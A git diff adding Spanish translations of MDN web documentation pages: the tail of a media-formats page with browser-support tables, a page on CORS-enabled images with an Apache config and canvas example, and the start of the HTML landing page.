+<p><a href="http://blogs.msdn.com/b/ie/archive/2011/02/02/html5-and-web-video-questions-for-the-industry-from-the-community.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/02/02/html5-and-web-video-questions-for-the-industry-from-the-community.aspx"><span id="result_box" lang="es"><span class="hps">Declaración</span> <span class="hps">de</span> <span class="hps">Microsoft</span> <span class="hps">sobre por qué</span> <span class="hps">IE9</span> <span class="hps">no tiene soporte</span> <span class="hps">WebM</span> <span class="hps">nativo.</span></span></a></p>
+
+<p><span id="result_box" lang="es"><span class="hps">El formato</span> <span class="hps">WebM</span><span>,</span> <span class="hps">específicamente</span> <span class="hps">el códec de vídeo</span> <span class="hps">VP8</span><span>,</span> <span class="alt-edited hps">habría</span> sido <span class="alt-edited hps">acusado</span> <span class="hps">de</span> <span class="hps">infracción de derechos de</span> <span class="hps">patente</span> <span class="hps">por un grupo de</span> <span class="hps">empresas de</span> <span class="hps">responder a una llamada</span> <span class="hps">por la</span> <span class="hps">MPEG</span> <span class="hps">LA</span> <span class="hps">para la formación de</span> <span class="hps">un consorcio de patentes</span><span>, pero</span> <a href="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8" title="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8"><span class="hps">MPEG</span> <span class="hps">LA</span> <span class="hps">se ha comprometido a</span> <span class="hps">licenciar</span> <span class="hps">las patentes</span> <span class="hps">de</span> <span class="hps">Google</span></a> <span class="hps">bajo</span> <span class="atn hps">"</span><a href="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8" title="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8"><span class="hps">transferible y de licencia gratuita</span></a><span class="atn hps">"</span><span>.</span> <span class="hps">Esto significa,</span> <span class="hps">efectivamente</span><span>,</span> <span class="hps">que todas las patentes</span> <span class="hps">conocidas en</span> <span class="hps">el formato</span> <span class="hps">WebM</span> <span class="hps">tienen licencia</span> <span class="hps">para todo el mundo</span> <span class="hps">de forma gratuita.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Gecko</span> <span class="hps">reconoce los siguientes</span> <span class="hps">tipos MIME</span> <span class="hps">para los archivos WebM:</span></span></p>
+
+<dl>
+ <dt><code>video/webm</code></dt>
+ <dd>Un archivo WebM que es capaz de reproducir video (y es posible audio también)</dd>
+ <dt><code>audio/webm</code></dt>
+ <dd>Un archivo WebM que contiene audio unicamente.</dd>
+</dl>
+
+<h3 id="Ogg_Theora_Vorbis">Ogg Theora Vorbis</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">formato contenedor</span> <span class="hps">Ogg</span> <span class="hps">con</span> <span class="hps">el códec de vídeo</span> <span class="hps">Theora</span> <span class="hps">y</span> <span class="hps">el códec de audio</span> <span class="hps">Vorbis</span> <span class="hps">es compatible con</span> <span class="hps">Gecko</span> <span class="atn hps">(</span><span>Firefox)</span><span>, Chrome</span> <span class="hps">y</span> <span class="hps">Opera,</span> <span class="hps">y el</span> <span class="hps">soporte para el formato</span> <span class="hps">se puede agregar a</span> <span class="hps">Safari</span> <span class="hps">mediante la instalación de</span> <span class="hps">un add</span><span>-on</span><span>.</span> <span class="hps">El formato no</span> <span class="hps">es compatible en Internet</span> <span class="hps">Explorer.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">WebM</span> <span class="alt-edited hps">es preferente</span>, <span class="hps">generalmente sobre</span> <span class="hps">Theora</span> <span class="hps">Ogg</span> <span class="hps">Vorbis</span> <span class="hps">cuando esté disponible</span></span><span id="result_box" lang="es"><span>,</span> <span class="hps">ya que proporciona</span> <span class="hps">una mejor</span> <span class="hps">relación de</span> <span class="hps">compresión para</span> <span class="hps">la calidad</span> <span class="hps">y</span> <span class="hps">se apoya</span> <span class="hps">en</span> <span class="hps">más navegadores</span><span>.</span> <span class="hps">El formato</span> <span class="hps">Ogg</span> <span class="hps">sin embargo, puede</span> <span class="hps">ser utilizado para apoyar</span> <span class="hps">versiones de los navegadores</span> <span class="hps">más antiguos</span><span>, en los que</span> <span class="hps">aún no</span> <span class="hps">se dispone de</span> <span class="hps">soporte para</span> <span class="hps">WebM</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <span class="hps">situación de las patentes</span> <span class="hps">de</span> <span class="hps">Theora</span> <span class="hps">es</span> <span class="hps">similar a la de</span> <span class="hps">WebM</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted puede aprender</span> <span class="hps">más sobre la creación</span> <span class="hps">de medios</span> <span class="hps">Ogg</span> <span class="hps">leyendo </span></span><a class="external" href="http://en.flossmanuals.net/ogg-theora/" title="http://en.flossmanuals.net/ogg-theora/">the Theora Cookbook</a>.</p>
+
+<p>Gecko reconoce los siguientes tipos de MIME para el archivo Ogg:</p>
+
+<dl>
+ <dt><code>audio/ogg</code></dt>
+ <dd><span class="short_text" id="result_box" lang="es"><span class="hps">Un archivo</span> <span class="hps">Ogg</span> <span class="hps">que contiene sólo</span> <span class="hps">audio.</span></span></dd>
+ <dt><code>video/ogg</code></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un video</span> <span class="hps">que contiene</span> <span class="hps">el archivo</span> <span class="hps">ogg</span> <span class="hps">(y posiblemente </span><span class="hps">audio también)</span><span>.</span></span></dd>
+ <dt><code>application/ogg</code></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un archivo</span> <span class="hps">Ogg</span> <span class="hps">con el contenido</span> <span class="hps">especificado.</span> <span class="hps">Utilizando uno de</span> <span class="hps">los otros dos tipos</span> <span class="hps">MIME</span> <span class="hps">es</span> <span class="hps">preferido</span><span>,</span> <span class="hps">pero se puede usar</span> <span class="hps">esta opción si</span> <span class="hps">usted no sabe</span> <span class="hps">lo que</span> <span class="hps">el contenido</span> <span class="hps">del fichero es</span></span>.</dd>
+</dl>
+
+<h3 id="Ogg_Opus">Ogg Opus</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">El contenedor</span> <span class="hps">Ogg</span> <span class="hps">también puede contener</span> <span class="hps">audio codificado</span> <span class="hps">con el <a href="http://www.opus-codec.org/" title="http://www.opus-codec.org/">códec</a></span><a href="http://www.opus-codec.org/" title="http://www.opus-codec.org/"> <span class="hps">Opus</span><span>.</span></a> <span class="hps">El apoyo a esta</span> <span class="hps">disponible en</span></span> Gecko 15.0 {{ geckoRelease("15.0") }} y superior.</p>
+
+<h3 id="MP4_H.264_(AAC_o_MP3)">MP4 H.264 (AAC o MP3)</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">formato contenedor</span> <span class="hps">MP4</span> <span class="hps">con</span> <span class="hps">el códec de vídeo</span> <span class="hps">H.264</span> <span class="hps">y, o bien</span> <span class="hps">el códec de audio</span> <span class="hps">AAC</span> <span class="hps">o</span> <span class="hps">el códec de audio</span> <span class="hps">MP3</span> <span class="alt-edited hps">es</span> <span class="alt-edited hps">nativamente</span> <span class="hps">compatible con</span> <span class="hps">Internet</span> <span class="hps">Explorer,</span> <span class="hps">Safari</span> <span class="hps">y</span> <span class="hps">Chrome,</span> pero <span class="hps">Chromium y</span> <span class="hps">Opera</span> <span class="hps">no son compatibles con</span> <span class="hps">el formato</span><span>.</span> <span class="hps">Firefox</span> <span class="hps">pronto</span> <span class="hps">admite el formato</span><span>, pero sólo cuando</span> <span class="hps">un decodificador</span> <span class="hps">de terceros</span> <span class="hps">esté disponible.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Los</span> <span class="hps">formatos</span> <span class="hps">MPEG</span> <span class="hps">están cubiertos por</span> <span class="hps">patentes, que</span> <span class="hps">no tienen licencia</span> <span class="hps">libre</span><span>.</span> <span class="hps">Todas</span> <span class="hps">las licencias necesarias</span> <span class="hps">se pueden comprar de</span> <span class="hps">MPEG</span> <span class="hps">LA.</span> <span class="hps">Desde</span> <span class="hps">H.264</span> <span class="hps">no está en</span> <span class="hps">un formato</span> <span class="hps">libre de</span> <span class="hps">regalías,</span> <span class="hps">no es apto</span> <span class="hps">para la plataforma</span> <span class="hps">web de código abierto</span><span>, de acuerdo con</span> <span class="hps">Mozilla</span> <span class="atn hps">[</span><a href="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/" title="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/"><span>1</span></a><span>,</span> <a href="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html" title="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html"><span class="hps">2</span></a><span>]</span><span>,</span> <span class="hps">Google</span> <span class="atn hps">[</span><a href="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html" title="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html"><span>1</span></a><span>,</span> <a href="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html" title="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html"><span class="hps">2</span></a><span>]</span> <span class="hps">y Opera.</span> <span class="hps">Sin embargo, los</span> <span class="hps">formatos libres</span> <span class="hps">no son compatibles con</span> <span class="hps">Internet</span> <span class="hps">Explorer y</span> <span class="hps">Safari</span><span>, <a href="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/" title="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/">Mozilla</a></span><a href="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/" title="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/"> <span class="hps">ha decidido apoyar</span> <span class="hps">el formato de</span> </a><span class="hps"><a href="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/" title="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/">todos modos</a>, y</span> <span class="hps">Google</span> <span class="hps">no</span> <span class="hps">cumplió</span> <span class="hps">su promesa de</span> <span class="hps">eliminar el soporte</span> <span class="hps">para él en</span> <span class="hps">Chrome.</span></span></p>
+
+<h3 id="WAVE_PCM">WAVE PCM</h3>
+
+<p>El formato contenedor WAVE, con el códec de audio PCM (WAVE codec "1") con el apoyo de Gecko (Firefox), y Safari. Archivos en el formato contenedor WAVE normalmente terminan con la extensión ". wav".</p>
+
+<div class="note"><strong>Nota: </strong><span class="short_text" id="result_box" lang="es"><span class="hps">Consulte</span> <a href="http://www.rfc-editor.org/rfc/rfc2361.txt" title="http://www.rfc-editor.org/rfc/rfc2361.txt"><span class="hps">RFC</span> <span class="hps">2361</span></a> <span class="hps">para</span> <span class="hps">el registro</span> <span class="hps">códec</span> <span class="hps">WAVE</span><span>.</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="hps">Gecko</span> <span class="hps">reconoce los siguientes</span> <span class="hps">tipos MIME</span> <span class="alt-edited hps">en archivos de audio</span> <span class="hps">WAVE</span><span>:</span></span></p>
+
+<ul>
+ <li><code>audio/wave</code> (preferido)</li>
+ <li><code>audio/wav</code></li>
+ <li><code>audio/x-wav</code></li>
+ <li><code>audio/x-pn-wav</code></li>
+</ul>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: WAVE, PCM</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: WebM, Vorbis</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Ogg, Vorbis</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP4, MP3</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>
+    <p>Partial (see below)</p>
+   </td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP4, AAC</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Main only) (Not in Chromium)</p>
+   </td>
+   <td>
+    <p>Partial (see below)</p>
+   </td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Ogg, Opus</td>
+   <td>27.0</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: WebM, VP8, Vorbis</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>9.0 (<a class="external" href="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx">must be installed separately</a>, e.g. <a class="external" href="http://tools.google.com/dlpage/webmmf/" title="http://tools.google.com/dlpage/webmmf/">WebM MF</a>)</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://perian.org/" title="http://perian.org/">Perian</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: Ogg, Theora, Vorbis</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: MP4, H.264, MP3</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: MP4, H.264, AAC</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>any other format</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1 (plays all formats available via QuickTime)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Para evitar</span> <span class="hps">problemas de patentes</span><span>, el apoyo a</span> <span class="hps">MPEG</span> <span class="hps">4</span><span>, H.264</span><span>, MP3</span> <span class="hps">y</span> <span class="hps">AAC</span> <span class="hps">no</span> <span class="hps">está integrado directamente en</span> <span class="hps">Firefox.</span> <span class="hps">En su lugar,</span> <span class="hps">se basa en</span> <span class="hps">el apoyo del</span> <span class="hps">sistema operativo o</span> <span class="hps">hardware.</span> <span class="hps">Firefox</span> <span class="hps">soporta</span> <span class="hps">estos formatos</span> <span class="hps">en las siguientes plataformas</span><span>:</span></span></p>
+
+<table class="standard-table" style="height: 159px; width: 285px;">
+ <thead>
+  <tr>
+   <th scope="col">Plataforma</th>
+   <th scope="col">Versión de Firefox</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=799315" title="https://bugzilla.mozilla.org/show_bug.cgi?id=799315">Windows 7+</a></td>
+   <td>21.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=825153" title="https://bugzilla.mozilla.org/show_bug.cgi?id=825153">Windows Vista</a></td>
+   <td>22.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=748351" title="https://bugzilla.mozilla.org/show_bug.cgi?id=748351">Android</a></td>
+   <td>20.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=714408" title="https://bugzilla.mozilla.org/show_bug.cgi?id=714408">Firefox OS</a></td>
+   <td>15.0</td>
+  </tr>
+  <tr>
+   <td>OS X 10.7</td>
+   <td>22.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li><a class="external" href="http://dev.opera.com/articles/view/introduction-html5-video/#codecs" title="http://dev.opera.com/articles/view/introduction-html5-video/#codecs">Video codecs in Opera</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx">Video codecs in Internet Explorer</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx">Audio codecs in Internet Explorer</a></li>
+ <li><a href="http://www.chromium.org/audio-video" title="http://www.chromium.org/audio-video">Audio &amp; Video codecs in Chrome</a></li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="internal" href="/en/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">Using audio and video in Firefox</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#media-elements" title="http://www.whatwg.org/specs/web-apps/current-work/#media-elements">Media elements</a> (HTML 5 specification)</li>
+ <li><code><a class="internal" href="/en/HTML/Element/Video" title="En/HTML/Element/Video">video</a></code></li>
+ <li><a class="internal" href="/en/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a></li>
+</ul>
diff --git a/files/es/web/html/imagen_con_cors_habilitado/index.html b/files/es/web/html/imagen_con_cors_habilitado/index.html
new file mode 100644
index 0000000000..4de4e94617
--- /dev/null
+++ b/files/es/web/html/imagen_con_cors_habilitado/index.html
@@ -0,0 +1,115 @@
+---
+title: Imagen con CORS habilitado
+slug: Web/HTML/Imagen_con_CORS_habilitado
+tags:
+  - Avanzado
+  - CORS
+  - Canvas
+  - HTML
+  - Referencia
+  - Seguridad
+translation_of: Web/HTML/CORS_enabled_image
+---
+<p><span class="seoSummary">La especificación HTML introduce un atributo {{ htmlattrxref("crossorigin", "img") }} para imágenes que, en conjunto con el encabezado  {{Glossary("CORS")}} apropiado, permite definir imágenes con el elemento {{ HTMLElement("img") }} que se carguen de orígenes externos dentro de un lienzo (<em>canvas</em>) como si estas fuesen cargadas del origen actual.</span></p>
+
+<p>Vea el artículo <a href="/en/HTML/CORS_settings_attributes" title="Atributos de configuración CORS">"Atributos de configuración CORS"</a> para mas detalles de como el atributo "crossorigin" es usado.</p>
+
+<h2 id="¿Qué_es_un_tainted_canvas">¿Qué es un "tainted" canvas? </h2>
+
+<p>Aunque puedes usar imágenes sin la aprobación del CORS en el elemento canvas, hacerlo puede "manchar" el canvas. Por ejemplo, no puedes usar los métodos canvas <code>toBlob()</code>, <code>toDataURL()</code>, or <code>getImageData(). Si los usas se lanzará un mensaje de seguridad.</code></p>
+
+<p>Esto protegerá a los usuarios de tener información privada usada por medio de imágenes que cogen información desde otras web sin permiso.</p>
+
+<h2 id="Ejemplo_Almacenando_una_imagen_desde_un_origen_externo">Ejemplo: Almacenando una imagen desde un origen externo</h2>
+
+<p>Debes de tener un servidor de hosting de imágenes con el apropiado <code>Access-Control-Allow-Origin</code> header. Añadiendo el atributo crossOrigin crea un request header.</p>
+
+<p>Puedes utilizar este fragemto de la configuración del servidor Apache del Boilerplate HTML5 para responder apropiadamente con este encabezado de respuesta.</p>
+
+<pre class="brush:xml">&lt;IfModule mod_setenvif.c&gt;
+    &lt;IfModule mod_headers.c&gt;
+        <span class="nt">&lt;FilesMatch</span> <span class="s">"\.(cur|gif|ico|jpe?g|png|svgz?|webp)$"</span><span class="nt">&gt;</span>
+            SetEnvIf Origin ":" IS_CORS
+            Header set Access-Control-Allow-Origin "*" env=IS_CORS
+        &lt;/FilesMatch&gt;
+    &lt;/IfModule&gt;
+&lt;/IfModule&gt;</pre>
+
+<p>Dado que está todo ordenado, serás capás de guardar esas imagenes en el almacenamiento del DOM, así como si fueran solicitados de tu dominio.</p>
+
+<pre class="brush: js">var img = new Image,
+    canvas = document.createElement("canvas"),
+    ctx = canvas.getContext("2d"),
+    src = "http://example.com/image"; // insert image url here
+
+img.crossOrigin = "Anonymous";
+
+img.onload = function() {
+    canvas.width = img.width;
+    canvas.height = img.height;
+    ctx.drawImage( img, 0, 0 );
+    localStorage.setItem( "savedImageData", canvas.toDataURL("image/png") );
+}
+img.src = src;
+// make sure the load event fires for cached images too
+if ( img.complete || img.complete === undefined ) {
+    img.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==";
+    img.src = src;
+}</pre>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>13</td>
+   <td>8</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="También_puede_ver">También puede ver</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html">Using Cross-domain images in WebGL and Chrome 13</a></li>
+ <li><a class="external" href="http://whatwg.org/html#attr-img-crossorigin">HTML Specification - the <code>crossorigin</code> attribute</a></li>
+</ul>
diff --git a/files/es/web/html/index.html b/files/es/web/html/index.html
new file mode 100644
index 0000000000..6e9ece746c
--- /dev/null
+++ b/files/es/web/html/index.html
@@ -0,0 +1,113 @@
+---
+title: 'HTML: Lenguaje de etiquetas de hipertexto'
+slug: Web/HTML
+tags:
+  - Avanzado
+  - Guía
+  - HTML
+  - HTML5
+  - Hipertexto
+  - Intermedio
+  - Principiante
+  - Referencia
+  - Web
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTML</strong> (Lenguaje de marcado de hipertexto) es el más básico componente de la Web. Define el significado y la estructura del contenido web. Además de HTML, se utilizan otras tecnologías generalmente para describir la apariencia/presentación de una página web ({{web.link("/es/docs/Web/CSS", "CSS")}}) o la funcionalidad/comportamiento ({{web.link("/es/docs/Web/JavaScript", "JavaScript")}}.</span></p>
+
+<p>"Hipertexto" se refiere a enlaces que conectan páginas web entre sí, ya sea dentro de un único sitio web o entre sitios web. Los enlaces son un aspecto fundamental de la Web. Al cargar contenido en Internet y vincularlo a páginas creadas por otras personas, te conviertes en un participante activo en la «<em>World Wide Web</em>».</p>
+
+<p>HTML utiliza "marcado" para etiquetar texto, imágenes y otro contenido para mostrarlo en un navegador web. El marcado HTML incluye "elementos" especiales como {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} y muchos otros.</p>
+
+<p>Un elemento HTML se distingue de otro texto en un documento mediante "etiquetas", que consisten en el nombre del elemento rodeadas por "<code>&lt;</code>" y "<code>&gt;</code>". El nombre de un elemento dentro de una etiqueta no distingue entre mayúsculas y minúsculas. Es decir, se puede escribir en mayúsculas, minúsculas o una mezcla. Por ejemplo, la etiqueta <code>&lt;title&gt;</code> se puede escribir como <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code> o de cualquier otra forma.</p>
+
+<p>Los siguientes artículos pueden ayudarte a obtener más información sobre HTML.</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>Introducción a HTML</span>
+
+  <p>Si eres nuevo en el desarrollo web, asegúrate de leer el artículo {{web.link("/es/docs/Learn/Getting_started_with_the_web/HTML_basics", "Conceptos básicos de HTML")}} para aprender qué es HTML y cómo usarlo.</p>
+ </li>
+ <li><span>Tutoriales HTML</span>
+  <p>Para ver los artículos sobre cómo usar HTML, así como tutoriales y ejemplos completos, consulta el {{web.link("/es/docs/Learn/HTML", "Área de aprendizaje de HTML")}}.</p>
+ </li>
+ <li><span>Referencia HTML</span>
+  <p>En nuestra extensa sección {{web.link("/es/docs/Web/HTML/Reference", "referencia HTML")}}, encontrarás los detalles sobre cada elemento y atributo en HTML.</p>
+ </li>
+</ul>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_transformarte_en_un_desarrollador_de_la_interfaz_de_usuario_web">¿Quieres transformarte en un desarrollador de la interfaz de usuario web?</h3>
+
+<p>Hemos elaborado un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="Tutoriales_para_principiantes">Tutoriales para principiantes</h2>
+
+<p>El {{web.link("/es/docs/Learn/HTML", "Área de aprendizaje de HTML")}} incluye varios módulos que enseñan HTML desde cero, sin necesidad de conocimientos previos.</p>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}}</dt>
+ <dd>Este módulo prepara el escenario para que te acostumbres a conceptos y sintaxis importantes, tal como la aplicación de HTML al texto, cómo crear hipervínculos y cómo utilizar HTML para estructurar una página web.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Multimedia_and_embedding", "Multimedia e inserción")}}</dt>
+ <dd>Este módulo explora cómo usar HTML para incluir multimedia en tus páginas web, incluidas las diferentes formas en que se pueden incluir imágenes y cómo insertar video, audio e incluso otras páginas web completas.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Tables", "tablas HTML")}}</dt>
+ <dd>Representar datos tabulares en una página web de una manera comprensible y accesible puede ser un desafío. Este módulo cubre el marcado básico de tablas, junto con características más complejas como la implementación de subtítulos y resúmenes.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Forms", "Formularios HTML")}}</dt>
+ <dd>Los formularios son una parte muy importante de la Web — proporcionan gran parte de la funcionalidad que necesitas para interactuar con sitios web, p. ej. registrarte e iniciar sesión, enviar comentarios, comprar productos y más. Este módulo te ayuda a comenzar a crear las partes de formularios del lado del cliente/Interfaz de usuario.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Howto", "Utilizar HTML para resolver problemas comunes")}}</dt>
